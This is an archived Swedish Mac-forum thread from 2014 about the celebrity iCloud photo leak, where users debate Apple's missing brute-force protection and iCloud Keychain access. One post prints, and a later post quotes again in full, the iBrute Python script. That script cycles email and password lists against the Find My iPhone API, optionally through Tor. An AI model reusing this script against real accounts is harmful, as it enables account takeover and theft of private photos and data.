Denna delen av 99 uppdateras inte längre utan har arkiverats inför framtiden som ett museum.
Här kan du läsa mer om varför.
Mac-nyheter hittar du på Macradion.com och forumet hittar du via Applebubblan.

Stulna bilder får kändisar att rasa

Tråden skapades och har fått 46 svar. Det senaste inlägget skrevs .
  • Medlem
  • International user
  • 2014-09-08 23:10
Ursprungligen av Demiurgen:

Det var ett bruteforce-skydd som saknades. Apple hade alltså en inloggning till sin molntjänst som inte var brute-force-skyddad! Det var inget hål eller bugg...någon hade glömt sätta dit en viktig standard-grej - glömt sjutillhållarlåset och bara lämnat bygget med ett litet hänglås

Nej, det var inte en inloggning. Det var ett API.

Nej, "låset" är inte sämre för att man kan försöka flera gånger.

Ursprungligen av zappee:

Nej, det var inte en inloggning. Det var ett API.

Inte alls. Läs källkoden.

Dold text:
# -*- coding: utf-8 -*-
#
#hackapp.com
#@hackappcom  p0c for FindMyIphone bug
#allows to bruteforce passwords  without AppleID lock.
#Before you start, make sure it's not illegal in your country.
#Have a nice brute

import json
import urllib2
import plistlib
from xml.dom.minidom import *
from lxml import etree
import unicodedata
import re
import xml.etree.ElementTree
import time
import random
import json
import cookielib
import urllib
import time
import socket
import base64
from time import strftime


import socks
import socket

#Uncomment to user t0r, or any other socks5 proxy

#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
#socket.socket = socks.socksocket

def TryPass(apple_id,password):


	url = 'https://fmipmobile.icloud.com/fmipservice/dev...'+apple_id+'/initClient'

	headers = {
		'User-Agent': 'FindMyiPhone/376 CFNetwork/672.0.8 Darwin/14.0.0',
		}

	json = {
	"clientContext": {
	"appName": "FindMyiPhone",
	"osVersion": "7.0.4",
	"clientTimestamp": 429746389281,
	"appVersion": "3.0",
	#make it random!
	"deviceUDID": "0123456789485ef5b1e6c4f356453be033d15622",
	"inactiveTime": 1,
	"buildVersion": "376",
	"productType": "iPhone6,1"
	},
	"serverContext": {}
	}

	req_plist=plistlib.writePlistToString(json)

	req = urllib2.Request(url, req_plist, headers=headers)
	base64string = base64.encodestring('%s:%s' % (apple_id, password)).replace('\n', '')
	req.add_header("Authorization", "Basic %s" % base64string)



	try:
		resp = urllib2.urlopen(req)
	except urllib2.HTTPError, err:
		if err.code == 401:
			return False
		if err.code == 330:
			return True

	return 'bad'


file = open('passlist.txt','r')
passwords = file.read()
file.close()


file = open('mails.txt','r')
apple_ids = file.read()
file.close()



for apple_id in apple_ids.split('\n'):
	if apple_id:
		print 'Working with:',apple_id
		for pwd in passwords.split('\n'):
			if pwd:
				#print pwd
				password = pwd.split(' ')[1]
				print 'Trying: ', apple_id,password
				
				try:
					result = TryPass(apple_id,password)
					if result == True:
						print 'Got It!: ', apple_id,password
					if result == 'bad':
						print 'We are blocked!: ',apple_id,password
				except:
					print 'Protocol failed ',pwd
Ursprungligen av zappee:

Nej, "låset" är inte sämre för att man kan försöka flera gånger.

Självklart är det sämre.

  1. Du har 3 chanser på dig med olika lösenord, sen låses kontot.

  2. Du kan prova oändligt antal gånger (tills du lyckas logga in om du träffar rätt) med olika lösenord.

Du tycker att båda är lika bra ur säkerhetssynpunkt?
Det var nog därför Apple täppte till hålet ca. 2 dagar efter detta (ibrute) började sprida sig på sociala medier och inte innan, för det spelar ingen roll att man kan bruteforca eller inte.

Senast redigerat 2014-09-09 00:20

Använder inte icloud keychain själv, men är det möjligt att efter ha brute-forcerat ett konto kunna få tillgång eller återställa personens icloud keychain?

Ursprungligen av mendezzz:

Använder inte icloud keychain själv, men är det möjligt att efter ha brute-forcerat ett konto kunna få tillgång eller återställa personens icloud keychain?

få tillgång=ja
återställa till annat än avsedd hårdvara=nej

tänk iCloud som en icke krypterad iTunes-backup av din iDevice

om du gör en backup i iTunes (till datorn) sparas din keychain krypterad med en unik hårdvaru-nyckel tex din iPhone...
med nackdelen att om du byter telefon, återställer till backup är din keychain oduglig/förstörd (du har inga lösenord)

om du däremot gör en krypterad iTunes-backup... skillnaden är att keychain på din iPhone skickas olåst till iTunes för att sedan krypteras med valt backup-lösenord... dvs du kan återställa din backup till en ny iPhone med bibehållen keychain

mao är iCloud-keychain inget att vara orolig för (än så länge )

Ursprungligen av Forumlazzer:

få tillgång=ja
återställa till annat än avsedd hårdvara=nej

tänk iCloud som en icke krypterad iTunes-backup av din iDevice

om du gör en backup i iTunes (till datorn) sparas din keychain krypterad med en unik hårdvaru-nyckel tex din iPhone...
med nackdelen att om du byter telefon, återställer till backup är din keychain oduglig/förstörd (du har inga lösenord)

om du däremot gör en krypterad iTunes-backup... skillnaden är att keychain på din iPhone skickas olåst till iTunes för att sedan krypteras med valt backup-lösenord... dvs du kan återställa din backup till en ny iPhone med bibehållen keychain

mao är iCloud-keychain inget att vara orolig för (än så länge )

Trodde icloud keychain var till för att synka anv/lösen mellan flera olika enheter, men på din beskrivning låter det som jag missuppfattat det.

Ursprungligen av mendezzz:

Trodde icloud keychain var till för att synka anv/lösen mellan flera olika enheter, men på din beskrivning låter det som jag missuppfattat det.

jo det är den ju... men du måste godkänna enheten (hårdvarunyckel)

Ursprungligen av Forumlazzer:

jo det är den ju... men du måste godkänna enheten (hårdvarunyckel)

Ok hur gör man det? Via mail. Sms?

Ursprungligen av mendezzz:

Ok hur gör man det? Via mail. Sms?

sms eller "contact Apple support"

http://support.apple.com/kb/HT5813

Ursprungligen av Forumlazzer:

sms eller "contact Apple support"

http://support.apple.com/kb/HT5813

Går sms via iMessage, för där borde väl en hackare med anv/pass ha tillgång till väl?

contact Apple Support, who can verify your identity so that you can complete setup on your new device.

Undra hur de säkerställer identiteten?

Ursprungligen av mendezzz:

Går sms via iMessage, för där borde väl en hackare med anv/pass ha tillgång till väl?

det gör det inte.. hade varit ett möjligt kryphål annars

Ursprungligen av mendezzz:

contact Apple Support, who can verify your identity so that you can complete setup on your new device.

Undra hur de säkerställer identiteten?

Räcker det med en nakenbild?

Ursprungligen av mendezzz:

Räcker det med en nakenbild?

heh... antagligen det bästa sättet, speciellt om man lätt kan hitta en "jämförelsebild"

  • Medlem
  • International user
  • 2014-09-09 22:13
Ursprungligen av Anderlind:

Inte alls. Läs källkoden.

Dold text:
# -*- coding: utf-8 -*-
#
#hackapp.com
#@hackappcom  p0c for FindMyIphone bug
#allows to bruteforce passwords  without AppleID lock.
#Before you start, make sure it's not illegal in your country.
#Have a nice brute

import json
import urllib2
import plistlib
from xml.dom.minidom import *
from lxml import etree
import unicodedata
import re
import xml.etree.ElementTree
import time
import random
import json
import cookielib
import urllib
import time
import socket
import base64
from time import strftime


import socks
import socket

#Uncomment to user t0r, or any other socks5 proxy

#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
#socket.socket = socks.socksocket

def TryPass(apple_id,password):


	url = 'https://fmipmobile.icloud.com/fmipservice/dev...'+apple_id+'/initClient'

	headers = {
		'User-Agent': 'FindMyiPhone/376 CFNetwork/672.0.8 Darwin/14.0.0',
		}

	json = {
	"clientContext": {
	"appName": "FindMyiPhone",
	"osVersion": "7.0.4",
	"clientTimestamp": 429746389281,
	"appVersion": "3.0",
	#make it random!
	"deviceUDID": "0123456789485ef5b1e6c4f356453be033d15622",
	"inactiveTime": 1,
	"buildVersion": "376",
	"productType": "iPhone6,1"
	},
	"serverContext": {}
	}

	req_plist=plistlib.writePlistToString(json)

	req = urllib2.Request(url, req_plist, headers=headers)
	base64string = base64.encodestring('%s:%s' % (apple_id, password)).replace('\n', '')
	req.add_header("Authorization", "Basic %s" % base64string)



	try:
		resp = urllib2.urlopen(req)
	except urllib2.HTTPError, err:
		if err.code == 401:
			return False
		if err.code == 330:
			return True

	return 'bad'


file = open('passlist.txt','r')
passwords = file.read()
file.close()


file = open('mails.txt','r')
apple_ids = file.read()
file.close()



for apple_id in apple_ids.split('\n'):
	if apple_id:
		print 'Working with:',apple_id
		for pwd in passwords.split('\n'):
			if pwd:
				#print pwd
				password = pwd.split(' ')[1]
				print 'Trying: ', apple_id,password
				
				try:
					result = TryPass(apple_id,password)
					if result == True:
						print 'Got It!: ', apple_id,password
					if result == 'bad':
						print 'We are blocked!: ',apple_id,password
				except:
					print 'Protocol failed ',pwd

Självklart är det sämre.

  1. Du har 3 chanser på dig med olika lösenord, sen låses kontot.

  2. Du kan prova oändligt antal gånger (tills du lyckas logga in om du träffar rätt) med olika lösenord.

Du tycker att båda är lika bra ur säkerhetssynpunkt?
Det var nog därför Apple täppte till hålet ca. 2 dagar efter detta (ibrute) började sprida sig på sociala medier och inte innan, för det spelar ingen roll att man kan bruteforca eller inte.

Som sagt, ett API och inte en inloggningssida som alla hittar/har tillgång till.

Ett kassaskåps lås blir inte sämre för att du kan slå en yxa i det 100 gånger.

Jag har inte sagt att det är lika bra, men om du har vettiga lösenord så tar det ändå för långt tid att bruteforca.

Ursprungligen av zappee:

Som sagt, ett API och inte en inloggningssida som alla hittar/har tillgång till.

Vad är skillnaden? Att de ramlar JSON eller HTML över tcp-kopplet?

Ursprungligen av zappee:

Ett kassaskåps lås blir inte sämre för att du kan slå en yxa i det 100 gånger.

Men detta är en molntjänst, inte ett kassaskåp. Rate limit är standard i molntjänster.

  • Medlem
  • International user
  • 2014-09-09 23:08
Ursprungligen av John A:

Vad är skillnaden? Att de ramlar JSON eller HTML över tcp-kopplet?

Men detta är en molntjänst, inte ett kassaskåp. Rate limit är standard i molntjänster.

Skillnaden är att det krävs lite för att hitta. Innan iBrute så var det ingen som nämnde det.

Har inte sagt något om vad som är standard eller inte.

Ursprungligen av zappee:

Skillnaden är att det krävs lite för att hitta. Innan iBrute så var det ingen som nämnde det.

Jo men på vilket sätt är det över huvud taget relevant om det är ett "API" eller en "inloggning?" Behöver Apple inte skydda attackvektorer som "det krävs lite för att hitta?"

Bevaka tråden